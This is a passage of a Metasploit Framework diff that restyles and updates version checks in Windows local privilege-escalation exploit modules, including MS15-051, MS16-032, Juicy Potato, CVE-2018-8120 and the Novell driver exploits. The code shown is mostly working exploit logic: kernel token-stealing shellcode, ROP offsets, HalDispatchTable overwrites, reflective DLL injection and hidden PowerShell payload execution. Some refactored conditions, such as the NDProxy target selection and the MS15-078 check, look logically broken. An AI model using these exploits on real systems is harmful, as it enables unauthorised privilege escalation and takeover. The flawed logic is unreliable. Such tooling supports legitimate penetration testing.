'https://github.com/hfiref0x/CVE-2015-1701'], - ['URL', 'https://technet.microsoft.com/library/security/MS15-051'] - ], - 'DisclosureDate' => '2015-05-12', - 'DefaultTarget' => 0, - 'Notes' => + def initialize(info = {}) + super( + update_info( + info, { - 'Stability' => [ CRASH_OS_RESTARTS, ], - }, - })) + 'Name' => 'Windows ClientCopyImage Win32k Exploit', + 'Description' => %q{ + This module exploits improper object handling in the win32k.sys kernel mode driver. + This module has been tested on vulnerable builds of Windows 7 x64 and x86, and + Windows 2008 R2 SP1 x64. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Unknown', # vulnerability discovery and exploit in the wild + 'hfirefox', # Code released on github + 'OJ Reeves', # msf module + 'Spencer McIntyre' # msf module + ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => { + 'EXITFUNC' => 'thread' + }, + 'Targets' => [ + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + [ 'Windows x64', { 'Arch' => ARCH_X64 } ] + ], + 'Payload' => { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => [ + ['CVE', '2015-1701'], + ['MSB', 'MS15-051'], + ['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html'], + ['URL', 'https://github.com/hfiref0x/CVE-2015-1701'], + ['URL', 'https://technet.microsoft.com/library/security/MS15-051'] + ], + 'DisclosureDate' => '2015-05-12', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [ CRASH_OS_RESTARTS, ] + } + } + ) + ) end def check @@ -69,7 +72,7 @@ def check # Windows Server 2008 R2 (64-bit) SP1 6.1.7601.17514 (Works) # Windows Server 2008 R2 (64-bit) SP1 6.1.7601.18105 (Works) - if sysinfo['OS'] !~ /windows/i + unless session.platform == 'windows' return Exploit::CheckCode::Unknown end @@ -104,7 +107,7 @@ def exploit fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') end - print_status("Reflectively injecting the exploit DLL and executing it...") + print_status('Reflectively injecting the exploit DLL and executing it...') if target.arch.first == ARCH_X86 dll_file_name = 'cve-2015-1701.x86.dll' else diff --git a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb index 1601c0f65d9a1..1702730ff3453 100644 --- a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb +++ b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb @@ -13,14 +13,14 @@ class MetasploitModule < Msf::Exploit::Local '6.3.9600.17796', '6.3.9600.17837', '6.3.9600.17915' - ] + ].freeze NT_VERSIONS = [ '6.3.9600.17415', '6.3.9600.17630', '6.3.9600.17668', '6.3.9600.17936' - ] + ].freeze include Msf::Post::File include Msf::Post::Windows::Priv @@ -51,7 +51,7 @@ def initialize(info = {}) 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows 8.1 x64', {} ] @@ -122,7 +122,7 @@ def patch_win32k_offsets(dll) end def set_win32k_offsets - @win32k_offsets ||= Proc.new do |version| + @set_win32k_offsets ||= proc do |version| case version when '6.3.9600.17393' { @@ -227,8 +227,6 @@ def set_win32k_offsets 'xchg_rax_rsp_adjust' => 0x15e5fc, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete' => 0x15A220 # CHwndTargetProp::Delete } - else - nil end end.call(@win32k) end @@ -245,7 +243,7 @@ def patch_nt_offsets(dll) end def set_nt_offsets - @nt_offsets ||= Proc.new do |version| + @set_nt_offsets ||= proc do |version| case version when '6.3.9600.17415' { @@ -267,8 +265,6 @@ def set_nt_offsets 'set_cr4' => 0x3863bc, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 'allocate_pool_with_tag' => 0x29FA50 # ExAllocatePoolWithTag } - else - nil end end.call(@ntoskrnl) end @@ -308,7 +304,8 @@ def ntoskrnl_version def check # We have tested only windows 8.1 - if sysinfo['OS'] !~ /Windows 8/i + version = get_version_info + unless version.build_number != Msf::WindowsVersion::Win81 && !version.windows_server? return Exploit::CheckCode::Unknown end diff --git a/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb b/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb index 78de28eda4a81..2a392a5da2973 100644 --- a/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb +++ b/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb @@ -13,55 +13,57 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info = {}) - super(update_info(info, - 'Name' => 'Windows WMI Receive Notification Exploit', - 'Description' => %q( - This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl. - This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64. - ), - 'License' => MSF_LICENSE, - 'Author' => [ - 'smmrootkit', # crash code - 'de7ec7ed', # exploit code - 'de7ec7ed', # msf module - ], - 'Arch' => [ARCH_X64], - 'Platform' => 'win', - 'SessionTypes' => ['meterpreter'], - 'DefaultOptions' => { - 'EXITFUNC' => 'thread' - }, - 'Targets' => [ - ['Windows 7 SP0/SP1', { 'Arch' => ARCH_X64 }] - ], - 'Payload' => { - 'Space' => 4096, - 'DisableNops' => true - }, - 'References' => [ - ['CVE', '2016-0040'], - ['MSB', 'MS16-014'], - ['URL', 'https://github.com/de7ec7ed/CVE-2016-0040'], - ['URL', 'https://github.com/Rootkitsmm/cve-2016-0040'], - ['URL', 'https://technet.microsoft.com/en-us/library/security/ms16-014.aspx'] - ], - 'DisclosureDate' => '2015-12-04', - 'DefaultTarget' => 0) + super( + update_info( + info, + 'Name' => 'Windows WMI Receive Notification Exploit', + 'Description' => %q{ + This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl. + This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'smmrootkit', # crash code + 'de7ec7ed', # exploit code + 'de7ec7ed', # msf module + ], + 'Arch' => [ARCH_X64], + 'Platform' => 'win', + 'SessionTypes' => ['meterpreter'], + 'DefaultOptions' => { + 'EXITFUNC' => 'thread' + }, + 'Targets' => [ + ['Windows 7 SP0/SP1', { 'Arch' => ARCH_X64 }] + ], + 'Payload' => { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => [ + ['CVE', '2016-0040'], + ['MSB', 'MS16-014'], + ['URL', 'https://github.com/de7ec7ed/CVE-2016-0040'], + ['URL', 'https://github.com/Rootkitsmm/cve-2016-0040'], + ['URL', 'https://technet.microsoft.com/en-us/library/security/ms16-014.aspx'] + ], + 'DisclosureDate' => '2015-12-04', + 'DefaultTarget' => 0 + ) ) end def check # Windows 7 SP0/SP1 (64-bit) - if sysinfo['OS'] !~ /windows/i + unless session.platform == 'windows' return Exploit::CheckCode::Unknown end - file_path = expand_path('%windir%') << '\\system32\\ntoskrnl.exe' - major, minor, build, revision, branch = file_version(file_path) - vprint_status("ntoskrnl.exe file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") + version = get_version_info + vprint_status("OS Version: #{version.product_name}") - return Exploit::CheckCode::Safe if build > 7601 + return Exploit::CheckCode::Safe unless version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) && version.workstation? return Exploit::CheckCode::Appears end @@ -89,6 +91,6 @@ def exploit encoded_payload ) - print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end diff --git a/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb b/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb index 01eec0e4d83ab..e4ea5de623f2a 100644 --- a/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb +++ b/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb @@ -81,9 +81,7 @@ def initialize(info = {}) end def check - os = sysinfo["OS"] - - if os !~ /win/i + unless session.platform == 'windows' # Non-Windows systems are definitely not affected. return Exploit::CheckCode::Safe end @@ -103,7 +101,7 @@ def exploit end if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Target is not vulnerable") + fail_with(Failure::NotVulnerable, 'Target is not vulnerable') end # Exploit PoC from 'b33f' @@ -116,9 +114,9 @@ def exploit payload_arch = framework.payloads.create(datastore['PAYLOAD']).arch.first if sysinfo['Architecture'] == ARCH_X64 && payload_arch == ARCH_X86 - cmdstr.gsub!("System32", "SYSWOW64") - print_warning("Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell") - vprint_warning("#{cmdstr}") + cmdstr.gsub!('System32', 'SYSWOW64') + print_warning('Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell') + vprint_warning(cmdstr.to_s) end template_path = Rex::Powershell::Templates::TEMPLATE_DIR @@ -126,41 +124,41 @@ def exploit psh_payload = compress_script(psh_payload) - @upfile = Rex::Text.rand_text_alpha((rand(8) + 6)) + ".ps1" + @upfile = Rex::Text.rand_text_alpha(rand(6..13)) + '.ps1' path = datastore['W_PATH'] || expand_path('%TEMP%') @upfile = "#{path}\\#{@upfile}" - fd = session.fs.file.new(@upfile, "wb") + fd = session.fs.file.new(@upfile, 'wb') print_status("Writing payload file, #{@upfile}...") fd.write(psh_payload) fd.close psh_cmd = " -exec Bypass -nonI -window Hidden #{@upfile}" # lpAppName - ms16_032.gsub!("$cmd", "\"#{cmdstr}\"") + ms16_032.gsub!('$cmd', "\"#{cmdstr}\"") # lpcommandLine - capped at 1024b - ms16_032.gsub!("$args1", "\"#{psh_cmd}\"") + ms16_032.gsub!('$args1', "\"#{psh_cmd}\"") end_flag = Rex::Text.rand_text_alphanumeric(32) - ms16_032.gsub!("$end", end_flag) + ms16_032.gsub!('$end', end_flag) print_status('Compressing script contents...') ms16_032_c = compress_script(ms16_032) if ms16_032_c.size > 8100 print_error("Compressed size: #{ms16_032_c.size}") - error_msg = "Compressed size may cause command to exceed " + error_msg = 'Compressed size may cause command to exceed ' error_msg += "cmd.exe's 8kB character limit." print_error(error_msg) else print_good("Compressed size: #{ms16_032_c.size}") end - print_status("Executing exploit script...") + print_status('Executing exploit script...') cmd = expand_path('%windir%') if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 - cmd += "\\Sysnative" + cmd += '\\Sysnative' else - cmd += "\\System32" + cmd += '\\System32' end cmd += "\\windowspowershell\\v1.0\\powershell.exe -exec Bypass -nonI -window Hidden \"#{ms16_032_c}\"" @@ -180,9 +178,9 @@ def exploit r.channel.close r.close - print_good("Executed on target machine.") - rescue - print_error("An error occurred executing the script.") + print_good('Executed on target machine.') + rescue StandardError + print_error('An error occurred executing the script.') end end diff --git a/modules/exploits/windows/local/ms16_075_reflection_juicy.rb b/modules/exploits/windows/local/ms16_075_reflection_juicy.rb index 4b48cc9e426dc..00785ad1e6718 100644 --- a/modules/exploits/windows/local/ms16_075_reflection_juicy.rb +++ b/modules/exploits/windows/local/ms16_075_reflection_juicy.rb @@ -95,9 +95,9 @@ def initialize(info = {}) def create_temp_proc windir = client.sys.config.getenv('windir') # Select path of executable to run depending the architecture - if sysinfo["Architecture"] == ARCH_X64 && client.arch == ARCH_X86 && @payload_arch.first == ARCH_X64 + if sysinfo['Architecture'] == ARCH_X64 && client.arch == ARCH_X86 && @payload_arch.first == ARCH_X64 cmd = "#{windir}\\Sysnative\\notepad.exe" - elsif sysinfo["Architecture"] == ARCH_X64 && client.arch == ARCH_X64 && @payload_arch.first == ARCH_X86 + elsif sysinfo['Architecture'] == ARCH_X64 && client.arch == ARCH_X64 && @payload_arch.first == ARCH_X86 cmd = "#{windir}\\SysWOW64\\notepad.exe" else cmd = "#{windir}\\System32\\notepad.exe" @@ -123,35 +123,18 @@ def create_temp_proc_stage2 end def check - os = client.sys.config.sysinfo['OS'] - build = os.match(/Build (\d+)/) privs = client.sys.config.getprivs # Fast fails if !privs.include?('SeImpersonatePrivilege') print_bad('Target session is missing the SeImpersonatePrivilege.') return Exploit::CheckCode::Safe end - if (os =~ /NT|XP|2003|.NET Server/) || (os =~ /2008/ && os !~ /2008 R2/) - print_bad('Microsoft Windows before Server 2008 R2 are not vulnerable.') + version = get_version_info + unless version.build_number.between?(Msf::WindowsVersion::Server2008_R2_SP0, Msf::WindowsVersion::Win10_1803) + print_bad("System not vulnerable (#{version.product_name})") return Exploit::CheckCode::Safe end - # Windows 10 after build 17134 (April 2018 update, version 1803) is not - # vulnerable. Due to changes in OS names, detecting the difference between - # Server 2016/19 is most reliably done with build numbers: - # (https://github.com/rapid7/metasploit-payloads/pull/355) - if build.nil? - print_warning('Could not determine Windows build number - exploiting might fail.') - else - build_number = build[1].to_i - if build_number > 17134 - print_bad("Target appears to be patched (#{os})") - return Exploit::CheckCode::Safe - elsif build_number < 7601 - print_bad("Target appears to be too old (#{os})") - return Exploit::CheckCode::Safe - end - end - print_good("Target appears to be vulnerable (#{os})") + print_good("Target appears to be vulnerable (#{version.product_name})") return Exploit::CheckCode::Appears end @@ -162,7 +145,7 @@ def exploit @payload_name = datastore['PAYLOAD'] @payload_arch = framework.payloads.create(@payload_name).arch if check == Exploit::CheckCode::Safe - fail_with(Failure::NoAccess, 'User does not have SeImpersonate or SeAssignPrimaryToken Privilege') + fail_with(Failure::NoAccess, 'User does not have SeImpersonate or SeAssignPrimaryToken Privilege, or OS not exploitable') end if @payload_arch.first == ARCH_X64 dll_file_name = 'juicypotato.x64.dll' @@ -184,7 +167,7 @@ def exploit process = client.sys.process.open end print_status("Reflectively injecting the exploit DLL into #{process.pid}...") - library_path = ::File.join(Msf::Config.data_directory, "exploits", "juicypotato", dll_file_name) + library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'juicypotato', dll_file_name) library_path = ::File.expand_path(library_path) print_status("Injecting exploit into #{process.pid}...") exploit_mem, offset = inject_dll_into_process(process, library_path) diff --git a/modules/exploits/windows/local/ms18_8120_win32k_privesc.rb b/modules/exploits/windows/local/ms18_8120_win32k_privesc.rb index 300ce53d50636..b4385f59bb221 100644 --- a/modules/exploits/windows/local/ms18_8120_win32k_privesc.rb +++ b/modules/exploits/windows/local/ms18_8120_win32k_privesc.rb @@ -72,8 +72,9 @@ def assign_target fail_with(Failure::None, 'Session is already elevated') end - if sysinfo['OS'] =~ /XP|NT/i - fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') + version = get_version_info + unless version.build_number.between?(Msf::WindowsVersion::Server2008_SP2, Msf::WindowsVersion::Server2008_R2_SP1) + fail_with(Failure::Unknown, "The exploit binary does not support #{version.product_name}") end return target unless target.name == 'Automatic' @@ -83,7 +84,7 @@ def assign_target vprint_status('Targeting x64 system') return targets[1] when 'x86' - fail_with(Failure::BadConfig, "Invalid payload architecture") if payload_instance.arch.first == ARCH_X64 + fail_with(Failure::BadConfig, 'Invalid payload architecture') if payload_instance.arch.first == ARCH_X64 vprint_status('Targeting x86 system') return targets[2] end @@ -105,8 +106,9 @@ def check_arch sys_arch = assign_target if sys_arch.name =~ /x86/ return 'CVE-2018-8120x86.exe' - else sys_arch.name =~ /x64/ - return 'CVE-2018-8120x64.exe' + else + sys_arch.name =~ /x64/ + return 'CVE-2018-8120x64.exe' end end @@ -122,7 +124,7 @@ def exploit tempexename = "#{Rex::Text.rand_text_alpha(6..14)}.exe" exe_payload = write_file_to_target(tempexename, exe) - vprint_status("Payload uploaded to temp folder") + vprint_status('Payload uploaded to temp folder') cve_exe = write_file_to_target(rexename, raw) command = "\"#{cve_exe}\" \"#{exe_payload}\"" vprint_status("Location of CVE-2018-8120.exe is: #{cve_exe}") diff --git a/modules/exploits/windows/local/ms_ndproxy.rb b/modules/exploits/windows/local/ms_ndproxy.rb index ac35ae311eae6..14d1e680f45cf 100644 --- a/modules/exploits/windows/local/ms_ndproxy.rb +++ b/modules/exploits/windows/local/ms_ndproxy.rb @@ -67,16 +67,16 @@ module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In o ] ], 'References' => [ - %w(CVE 2013-5065), - %w(MSB MS14-002), - %w(OSVDB 100368), - %w(BID 63971), - %w(EDB 30014), - %w(URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/), - %w(URL http://technet.microsoft.com/en-us/security/advisory/2914486), - %w(URL http://www.secniu.com/blog/?p=53), - %w(URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html), - %w(URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html) + %w[CVE 2013-5065], + %w[MSB MS14-002], + %w[OSVDB 100368], + %w[BID 63971], + %w[EDB 30014], + %w[URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/], + %w[URL http://technet.microsoft.com/en-us/security/advisory/2914486], + %w[URL http://www.secniu.com/blog/?p=53], + %w[URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html], + %w[URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html] ], 'DisclosureDate' => '2013-11-27', 'DefaultTarget' => 0, @@ -177,15 +177,11 @@ def check session.railgun.kernel32.CloseHandle(handle) - os = sysinfo['OS'] - case os - when /windows xp.*service pack 3/i + version = get_version_info + if version.build_number == Msf::WindowsVersion::XP_SP3 || + version.build_number == Msf::WindowsVersion::Server2003_SP2 return Exploit::CheckCode::Appears - when /(2003|\.net server).*service pack 2/i - return Exploit::CheckCode::Appears - when /windows xp/i - return Exploit::CheckCode::Detected - when /(2003|\.net server)/i + elsif version.xp_or_2003? return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe @@ -200,14 +196,11 @@ def exploit my_target = nil if target.name =~ /Automatic/ print_status('Detecting the target system...') - os = sysinfo['OS'] - if os =~ /windows xp.*service pack 3/i - my_target = targets[1] - print_status("Running against #{my_target.name}") - elsif (os =~ /2003/) && (os =~ /service pack 2/i) - my_target = targets[2] + version = get_version_info + if version.build_number == Msf::WindowsVersion::XP_SP3 || + (my_target = targets[1]) print_status("Running against #{my_target.name}") - elsif (os =~ /\.net server/i) && (os =~ /service pack 2/i) + elsif version.build_number == Msf::WindowsVersion::Server2003_SP2 my_target = targets[2] print_status("Running against #{my_target.name}") end diff --git a/modules/exploits/windows/local/novell_client_nicm.rb b/modules/exploits/windows/local/novell_client_nicm.rb index 49066e8cc8e2d..7191b523791e7 100644 --- a/modules/exploits/windows/local/novell_client_nicm.rb +++ b/modules/exploits/windows/local/novell_client_nicm.rb @@ -30,7 +30,7 @@ def initialize(info = {}) 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, 'Targets' => [ # Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows @@ -76,7 +76,7 @@ def initialize(info = {}) def open_device(dev) invalid_handle_value = 0xFFFFFFFF - r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0) + r = session.railgun.kernel32.CreateFileA(dev, 'GENERIC_READ', 0x3, nil, 'OPEN_EXISTING', 'FILE_ATTRIBUTE_READONLY', 0) handle = r['return'] @@ -110,19 +110,19 @@ def ring0_shellcode(t) end def allocate_memory(proc, address, length) - result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("V"), nil, [ length ].pack("V"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") + result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE') - if not result["BaseAddress"] or result["BaseAddress"].empty? - vprint_error("Failed to allocate memory") + if !(result['BaseAddress']) || result['BaseAddress'].empty? + vprint_error('Failed to allocate memory') return nil end - my_address = result["BaseAddress"].unpack("V")[0] + my_address = result['BaseAddress'].unpack('V')[0] vprint_good("Memory allocated at 0x#{my_address.to_s(16)}") - if not proc.memory.writable?(my_address) - vprint_error("Failed to allocate memory") + if !proc.memory.writable?(my_address) + vprint_error('Failed to allocate memory') return nil else vprint_good("0x#{my_address.to_s(16)} is now writable") @@ -132,11 +132,11 @@ def allocate_memory(proc, address, length) end def junk(n = 4) - return rand_text_alpha(n).unpack("V").first + return rand_text_alpha(n).unpack('V').first end def check - handle = open_device("\\\\.\\nicm") + handle = open_device('\\\\.\\nicm') if handle.nil? return Exploit::CheckCode::Safe end @@ -146,15 +146,15 @@ def check end def exploit - if sysinfo["Architecture"] == ARCH_X64 - fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + if sysinfo['Architecture'] == ARCH_X64 + fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported') end my_target = nil if target.name =~ /Automatic/ - print_status("Detecting the target system...") - os = sysinfo["OS"] - if os =~ /windows 7/i + print_status('Detecting the target system...') + version = get_version_info + if version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) && !version.windows_server? my_target = targets[1] print_status("Running against #{my_target.name}") end @@ -163,26 +163,26 @@ def exploit end if my_target.nil? - fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually") + fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually') end - print_status("Checking device...") - handle = open_device("\\\\.\\nicm") + print_status('Checking device...') + handle = open_device('\\\\.\\nicm') if handle.nil? - fail_with(Failure::NoTarget, "\\\\.\\nicm device not found") + fail_with(Failure::NoTarget, '\\\\.\\nicm device not found') else - print_good("\\\\.\\nicm found!") + print_good('\\\\.\\nicm found!') end this_proc = session.sys.process.open - print_status("Storing the Kernel stager on memory...") + print_status('Storing the Kernel stager on memory...') stager_address = 0x0d0d0000 stager_address = allocate_memory(this_proc, stager_address, 0x1000) - if stager_address.nil? or stager_address == 0 + if stager_address.nil? || (stager_address == 0) session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Failed to allocate memory") + fail_with(Failure::Unknown, 'Failed to allocate memory') end # eax => &kernel_stager @@ -203,7 +203,7 @@ def exploit junk, junk, stager_address + 0x28 # stager_address + 0x24 - ].pack("V*") + ].pack('V*') kernel_stager << ring0_shellcode(my_target) @@ -211,34 +211,34 @@ def exploit if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Failed to write contents to memory") + fail_with(Failure::Unknown, 'Failed to write contents to memory') else vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}") end - print_status("Triggering the vulnerability to execute the Kernel Handler") + print_status('Triggering the vulnerability to execute the Kernel Handler') magic_ioctl = 0x143B6B # Vulnerable IOCTL ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0) session.railgun.kernel32.CloseHandle(handle) - if ioctl["GetLastError"] != 0 - print_error("Something wrong while triggering the vulnerability, anyway checking privileges...") + if ioctl['GetLastError'] != 0 + print_error('Something wrong while triggering the vulnerability, anyway checking privileges...') end - print_status("Checking privileges after exploitation...") + print_status('Checking privileges after exploitation...') - if not is_system? + if !is_system? fail_with(Failure::Unknown, "The exploitation wasn't successful") else - print_good("Exploitation successful!") + print_good('Exploitation successful!') end p = payload.encoded - print_status("Injecting #{p.length.to_s} bytes to memory and executing it...") + print_status("Injecting #{p.length} bytes to memory and executing it...") if execute_shellcode(p) - print_good("Enjoy") + print_good('Enjoy') else - fail_with(Failure::Unknown, "Error while executing the payload") + fail_with(Failure::Unknown, 'Error while executing the payload') end end end diff --git a/modules/exploits/windows/local/novell_client_nwfs.rb b/modules/exploits/windows/local/novell_client_nwfs.rb index 46638bfb3effc..2bca99dbac9dd 100644 --- a/modules/exploits/windows/local/novell_client_nwfs.rb +++ b/modules/exploits/windows/local/novell_client_nwfs.rb @@ -32,7 +32,7 @@ def initialize(info = {}) 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, 'Targets' => [ # Tested with nwfs.sys 4.91.4.7 as installed with Novell Client 4.91 SP4 @@ -72,7 +72,7 @@ def initialize(info = {}) def open_device(dev) invalid_handle_value = 0xFFFFFFFF - r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0) + r = session.railgun.kernel32.CreateFileA(dev, 'GENERIC_READ', 0x3, nil, 'OPEN_EXISTING', 'FILE_ATTRIBUTE_READONLY', 0) handle = r['return'] @@ -90,7 +90,7 @@ def find_sys_base(drvname) addresses.each do |address| results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) current_drvname = results['lpBaseName'][0..results['return'] - 1] - if drvname == nil + if drvname.nil? if current_drvname.downcase.include?('krnl') return [address, current_drvname] end @@ -104,8 +104,8 @@ def find_sys_base(drvname) def ring0_shellcode(t) restore_ptrs = "\x31\xc0" # xor eax, eax - restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack('V') # mov eax, offset hal!HaliQuerySystemInformation - restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax + restore_ptrs << "\xb8" + [ @addresses['HaliQuerySystemInfo'] ].pack('V') # mov eax, offset hal!HaliQuerySystemInformation + restore_ptrs << "\xa3" + [ @addresses['halDispatchTable'] + 4 ].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax tokenstealing = "\x52" # push edx # Save edx on the stack tokenstealing << "\x53" # push ebx # Save ebx on the stack @@ -130,10 +130,10 @@ def ring0_shellcode(t) end def fill_memory(proc, address, length, content) - result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE') - if not proc.memory.writable?(address) - vprint_error("Failed to allocate memory") + if !proc.memory.writable?(address) + vprint_error('Failed to allocate memory') return nil else vprint_good("#{address} is now writable") @@ -142,7 +142,7 @@ def fill_memory(proc, address, length, content) result = proc.memory.write(address, content) if result.nil? - vprint_error("Failed to write contents to memory") + vprint_error('Failed to write contents to memory') return nil else vprint_good("Contents successfully written to 0x#{address.to_s(16)}") @@ -154,62 +154,62 @@ def fill_memory(proc, address, length, content) def disclose_addresses(t) addresses = {} - vprint_status("Getting the Kernel module name...") + vprint_status('Getting the Kernel module name...') kernel_info = find_sys_base(nil) if kernel_info.nil? - vprint_error("Failed to disclose the Kernel module name") + vprint_error('Failed to disclose the Kernel module name') return nil end vprint_good("Kernel module found: #{kernel_info[1]}") - vprint_status("Getting a Kernel handle...") + vprint_status('Getting a Kernel handle...') kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) kernel32_handle = kernel32_handle['return'] if kernel32_handle == 0 - vprint_error("Failed to get a Kernel handle") + vprint_error('Failed to get a Kernel handle') return nil end - vprint_good("Kernel handle acquired") + vprint_good('Kernel handle acquired') - vprint_status("Disclosing the HalDispatchTable...") - hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable") + vprint_status('Disclosing the HalDispatchTable...') + hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, 'HalDispatchTable') hal_dispatch_table = hal_dispatch_table['return'] if hal_dispatch_table == 0 - vprint_error("Failed to disclose the HalDispatchTable") + vprint_error('Failed to disclose the HalDispatchTable') return nil end hal_dispatch_table -= kernel32_handle hal_dispatch_table += kernel_info[0] - addresses["halDispatchTable"] = hal_dispatch_table - vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}") + addresses['halDispatchTable'] = hal_dispatch_table + vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}") - vprint_status("Getting the hal.dll Base Address...") - hal_info = find_sys_base("hal.dll") + vprint_status('Getting the hal.dll Base Address...') + hal_info = find_sys_base('hal.dll') if hal_info.nil? - vprint_error("Failed to disclose hal.dll Base Address") + vprint_error('Failed to disclose hal.dll Base Address') return nil end hal_base = hal_info[0] vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}") hali_query_system_information = hal_base + t['HaliQuerySystemInfo'] - addresses["HaliQuerySystemInfo"] = hali_query_system_information + addresses['HaliQuerySystemInfo'] = hali_query_system_information - vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}") + vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}") return addresses end def exploit - if sysinfo["Architecture"] == ARCH_X64 - fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + if sysinfo['Architecture'] == ARCH_X64 + fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported') end my_target = nil if target.name =~ /Automatic/ - print_status("Detecting the 